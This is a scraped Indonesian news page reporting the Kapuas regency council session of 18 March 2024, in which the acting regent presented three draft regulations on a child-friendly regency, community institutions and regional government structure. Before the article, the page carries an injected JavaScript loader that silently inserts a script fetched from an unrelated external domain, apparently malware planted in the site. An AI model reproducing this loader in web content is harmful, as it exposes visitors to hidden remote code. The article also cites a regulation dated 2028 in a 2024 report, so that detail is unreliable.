(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, KUALA KAPUAS – Penjabat (Pj) Bupati Kapuas Erlin Hardi menghadiri rapat paripurna ke-1 masa persidangan II tahun sidang 2024 DPRD Kabupaten Kapuas yang dipimpin Wakil Ketua I DPRD Kabupaten Kapuas Yohanes, Senin (18/3/2024) siang.
Rapat beragendakan penyampaian tiga buah Raperda Kabupaten Kapuas, dihadiri oleh Sekretaris Daerah (Sekda) Kabupaten Kapuas Septedy, unsur Forkopimda, para kepala OPD Pemkab Kapuas, serta anggota DPRD Kabupaten Kapuas.
Tiga buah Raperda Kabupaten Kapuas yaitu disampaikan yakni Raperda tentang Kabupaten Layak Anak, Raperda tentang pencabutan Perda Kabupaten Kapuas Nomor 10 Tahun 2007 tentang lembaga kemasyarakatan, dan Raperda tentang perubahan kedua atas Perda Nomor 10 Tahun 2016 tentang pembentukan dan susunan perangkat daerah.
Baca juga: Pipa PAM di A Yani Km 2,5 Jebol, Pasokan Air Terhenti ke Banjarmasin Barat dan Tengah
“Berkaitan tentang Raperda pertama yaitu bahwa untuk memberikan arah, landasan, dan kepastian hukum kepada semua pihak yang terlibat dalam perlindungan anak, maka diperlukan pengaturan tentang Kabupaten Layak Anak,” ucap Bupati.
Erlin Hardi menjelaskan mengenai Raperda yang kedua, yang menjadi pertimbangan penyusunan Raperda ini adalah bahwa berdasarkan Peraturan Menteri Dalam Negeri Nomor 18 Tahun 2028 tentang Lembaga Kemasyarakatan dan Lembaga Adat Desa diatur lebih lanjut dengan peraturan bupati.
“Berdasarkan ketentuan, maka Peraturan Daerah Kabupaten Kapuas Nomor 10 Tahun 2007 tentang lembaga kemasyarakatan sudah tidak sesuai dengan peraturan perundang-undangan saat ini sehingga perlu dicabut,” terang Erlin.
Baca juga: Relokasi Permukiman di Kecamatan Cempaka, Pasca Kebakaran Dipindah ke Lahan Baru
Sementara Raperda ketiga tentang pembentukan dan susunan perangkat daerah yaitu dengan adanya kebijakan dari pemerintah terkait penyederhanaan birokrasi, maka kelembagaan perangkat daerah Kabupaten Kapuas mengalami perubahan termasuk peraturan daerah nomor 2 Tahun 2012 tentang organisasi dan tata kerja Badan Penanggulangan Bencana Daerah Kabupaten Kapuas.
“Dibutuhkan perubahan kedua atas Perda nomor 10 Tahun 2016 tentang pembentukan dan susunan perangkat daerah Kabupaten Kapuas,” terangnya.
Baca juga: Penguatan Pendidikan Karakter Siswa di SMAN 1 Kuala Kapuas
Berkaitan dengan tiga Raperda ini, Erlin Hardi berharap pada saat pembahasan dapat terlaksana dengan sebaik-baiknya dan dapat memberikan manfaat bagi semua. (Kanalkalimantan.com/ags)
Reporter : ags
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU - Generasi Happy Tri menyapa Generasi Z (Gen Z) di Banjarbaru dan Banjarmasin,… Read More
KANALKALIMANTAN.COM, BANJARBARU - Acara bertajuk "Banua Creative Festival" inisiasi Gerakan Ekonomi Kreatif Kalimantan Selatan (Gekraf… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Setelah Upah Minimun Provinsi (UMP) Kalimantan Selatan (Kalsel) tahun 2025 disepakati menjadi… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More
KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More
This website uses cookies.